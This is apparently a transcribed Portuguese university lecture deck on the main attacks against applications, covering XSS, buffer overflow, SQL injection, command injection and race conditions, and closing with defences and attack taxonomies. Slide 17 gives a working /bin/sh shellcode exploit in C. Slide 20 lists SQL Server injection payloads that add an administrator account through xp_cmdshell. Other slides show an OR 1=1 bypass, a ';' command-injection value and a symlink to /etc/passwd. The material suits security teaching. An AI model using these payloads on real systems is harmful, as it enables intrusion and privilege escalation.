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Segurança em Aplicações 3. Principais Ataques

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Apresentação em tema: "Segurança em Aplicações 3. Principais Ataques"— Transcrição da apresentação:

1 Segurança em Aplicações 3. Principais Ataques
Márcio Aurélio Ribeiro Moreira

2 Estrutura típica de aplicações

3 Principais pontos de ataque
Áreas públicas: Vantagem: Facilidade de ataque Desvantagem: Baixo retorno Alvos e ataques: Clientes: Roubo de informações Links: Coleta de pacotes Webservers: Negação de serviço Áreas restritas: Vantagem: Alto retorno Desvantagem: Complexidade Firewall: Negação de serviço S.Aplicação: Violação de acesso S.Banco: Violação de acesso Baixo Retorno Fácil Difícil Rentável

4 Principais vulnerabilidades
Áreas públicas: Baixo conhecimento dos usuários Baixo nível de proteção das estações Uso de protocolos inseguros ou frágeis Áreas restritas: Gestão inadequada de usuários Gestão inadequada de perfis Integrações inseguras entre sistemas Servidores mal configurados Aplicações mal escritas

5 Resumo das ameaças Ameaças de invasão: Intrusão: Código malicioso:
Atividades de varredura: pessoas procurando formas de acessar seus serviços ou aplicações Intrusão: Tentativa bem sucedida de obter acesso à uma máquina que não deveria ter Destruição: Perda de dados ou informações (após a intrusão) Código malicioso: Vírus, verme, etc. Negação de Serviço (DoS: Denial-of-Service): Impedir que o serviço seja oferecido aos usuários Ex.: s bomba (lotam o servidor de s forjados) Forjar (spoofing): Oferecer serviços ou aplicações que parecem com os verdadeiros para obter informações (especialmente credenciais) SPAM: Espalhar s ou mensagens não desejadas pelas pessoas

6 Explorando vulnerabilidades públicas
Explorando a fragilidade do usuário: Cavalo de Tróia (Trojan horse) e vírus/verme/malware Sequestro de sessão (session hijack) Engenharia social (obter informações privadas) Fragilidade de senhas Explorando a fragilidade da máquina: Keyloggers (interceptadores de teclado e mouse) Tomando o controle da máquina do usuário Explorando pacotes de rede (sniffing): Coleta de credenciais (Ethereal) Preparação de ataques a áreas restritas Ganhar acesso e controle de servidores

7 Explorando gestão inadequada
Gestão inadequada de usuários Um usuário para cada sistema ou aplicação Usuários demitidos, mas os acessos não Acumulação de acessos durante a carreira Falta de padronizações (processos adequados) Gestão inadequada de perfis Nivelar perfil pela maior necessidade Acumulação de perfis durante a carreira Integração de parceiros, terceiros, visitantes, etc.

8 Explorando servidores mal configurados
Trocando módulos e pacotes de correções Interceptando chamadas de sistema Explorando Rootkits (kernel forjado) Explorando Condições de Corrida Ganhar privilégios indevidos ou negar o serviço Buffer Overflow Atacar protocolos frágeis Atacar utilitários frágeis

9 Explorando integrações ruins
A integração de sistemas é muito comum Como sistemas heterogêneos podem conversar entre si? Solução comum: Arquivos texto (ASCII), planilhas, etc. Armazenado em pastas comuns aos sistemas Transportados em mídias ou links inseguros Interface humana (lê em um e digita no outro) Ataques: Interceptação, cópia, alteração, inclusão e exclusão

10 Explorando aplicações mal escritas
Redundâncias de autenticações: n aplicações  n bases de autenticações Injeção de código: SQL injection: Forjar acessos válidos (ataque ao where) Ganhar acesso indevido (console remoto) Code injection: Forjar acessos válidos (ataque ao if) Buffer overflow: instalando portas de acesso Capturar áreas de memória (memory dump) Explorar falta de rastreabilidade e consistência: Usar credenciais válidas para ações ilícitas

11 Explorando aplicações web
Inspeção de pacotes: usar https com ssl Keyloggers: usar teclado virtual Explorar portas: usar firewall Espalhar vírus e trojan: usar antivírus Sites clonados: digite o endereço s falsos: Não abra, use confirmação de remetente, etc. Utilize s seguros (cifrados e autenticados) Assistentes virtuais: personalize a página

12 10 principais ataques para web
Injeção (código e SQL) Cross Site Scripting (XSS) Quebra de autenticação e de gestão de sessão Falta de segurança em referências diretas a objetos Forjar requisições para trocas de sites (CSRF: Cross Site Request Forgery) Configuração inadequada de servidores Falhas de controle de acesso as URLs restritas Encaminhamentos e redirecionamentos inválidos Baixo nível de criptografia de acesso à Storages Insuficiência na proteção da camada de transporte da rede

13 Explorando o “man in the middle”
Ataque do homem do meio: Interceptar uma conexão Seqüestrar a sessão Recomendações: Não use proxy Use certificados públicos Use uma entidade certificadora externa Use cartões de números variáveis (tokens) Autentique a estação de origem Questão: como autenticar dispositivos móveis?

14 XSS (Cross Site Scripting)
Ideia: Injeção de código (JavaScript, VBScript, ActiveX, HTML ou Flash) por um espião, do lado do cliente, nas páginas que serão utilizadas por outros usuários Meios utilizados: Páginas que serão acessadas, cookies, s com links para áreas intermediárias, etc. Paradoxo: Para evitar o ataque o usuários deve desabilitar a execução de scripts, mas com isto perde funcionalidades que podem ser imprescindíveis Exemplo trivial: Digitar <script>alert(“hello")</script>, numa caixa de texto de busca

15 Buffer Overflow Exemplo: Se faltar memória: Erro
char nome[30]; printf(“Nome: "); gets(nome); // permite o overflow da variável char b[100]; strcpy(nome, b); // copia os 100 bytes de b em nome Se faltar memória: Erro Se a linguagem tratar: Erro ou exceção Se a linguagem não tratar? Existem vários ataques que exploram isto!

16 Buffer Overflow - Estratégia
Injetar código nas variáveis das funções: Acessar o shell do SO Abrir portas para ataques posteriores Instalar ou abrir servidores de acesso remoto Mudar o endereço de retorno Disparar o código por outra injeção Vulnerabilidades conhecidas: TCP/IP, IIS (ISAPI), Apache, Sendmail, Linux e Unix (DNS: update de zonas), etc. Estrutura de Funções: Argumentos Endereço de retorno Variáveis Código da função Retorno

17 Exemplo de código de ataque
#include <stdio.h> #include <string.h> char shellcode[ ] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }

18 Como obter o código de ataque?
Programando em Assembler e pegando os códigos hexa do executável Utilizando o DEBUG:

19 SQL Injection Idéia: injetar código para ganhar acesso
Exemplo de autenticação: SELECT * FROM usuarios WHERE usuario = '$usuario' AND senha = '$senha' Sintaxe SQL: ' (apóstrofo) Terminador de strings -- (2 menos) Comentários (ignora o restante) O que acontece se digitarmos no campo usuário? x' OR 1=1 --

20 SQL Injection - Exemplos
No SQL Server: '; EXEC xp_cmdshell 'net stop sqlserver', no_output -- No lugar do comando (net stop ...), podemos colocar: Net user admin2 /add && net localgroup administrators admin2 /add && net localgroup ORA_DBA admin2 /add ' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE xtype='U' -- Injeção no get (passagem de parâmetros) em url: UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'— Referências:

21 Code Injection Após ganhar acesso ao SO digite:
cat > exs // copia digitação em exs #!/bin/sh // o shell default é o sh A=$1 // atribui o 1º parâmetro à A eval "ls $A“ // executa ls com conteúdo de A chmod a+rx exs // permite execução de exs O que acontece se digitarmos? ./exs ".;chmod o+r *“ O caractere “;” é um separador de comandos do shell do linux e unix

22 Condições de corrida Os arquivos temporários são gerados por funções:
name=maketemp("/tmp/gs_XXXXXXXX"); fp=fopen(name,"w"); Eles herdam os privilégios de seus geradores O que podemos colocar em arquivos temporários? O que ocorre se no momento de uma condição de corrida mudarmos a path do arquivo? Ex: symlink /tmp/gs_12345A -> /etc/passwd As condições de corrida podem ocorrer: Memória, arquivos ou sinais. Referência:

23 O que fazer? Proteger a infra-estrutura: Proteger as aplicações:
Segurança de perímetro (Firewall, IDS, IPS, etc.) Segurança na instalação, configuração e manutenção Atualização segura de SO e serviços Avaliação periódica de segurança (Ethical Hacking) Monitoramento contínuo de log Proteger as aplicações: Processo de desenvolvimento seguro de desenvolvimento Autenticação centralizada Adote padrões de comunicação e conexão com DBMS Processo de garantia da qualidade (avaliações periódicas)

24 Taxonomias (critérios de classificação)
MANET: Mobile ad-hoc network Classifica: Vulnerabilidades, Desafios, Ataques e Aplicações MANET: Vulnerabilities, Challenges, Attacks, Application - Priyanka Goyal, Vinti Parmar e Rahul Rishi AVOIDIT: Ataques, Vetores, Impactos Operacionais, Defesa, Impacto de Informações e Alvos AVOIDIT: A Cyber Attack Taxonomy - Chris Simmons, Charles Ellis, Sajjan Shiva, Dipankar Dasgupta, Qishi Wu Tratado sobre o tema: A taxonomy of computer attacks with applications to wireless networks - Daniel Lowry Lough

25 MANET Vulnerabilidades Desafios Ataques Aplicações
Falta de gestão centralizada Roteamento Externos Militares Disponibilidade de recursos Segurança e Confiabilidade Internos Comerciais Escalabilidade Qualidade de Serviço Negação de serviço Locais Falta de cooperação Inter redes Falsidade ideológica (Impersonation) Pessoais Topologias dinâmicas Consumo de Energia Observação de informações confidenciais (Eavesdropping) Comunicação Limitação de fonte de energia Propagação (multicast) De roteamento Restrições de largura de banda Localização apoiada por roteamento Ataque do buraco negro Espiões dentro da rede Ataque do buraco de minhoca Fronteiras não definidas Ataque do buraco cinza Ataque de resposta Encravamento (jamming) Ataque do homem do meio


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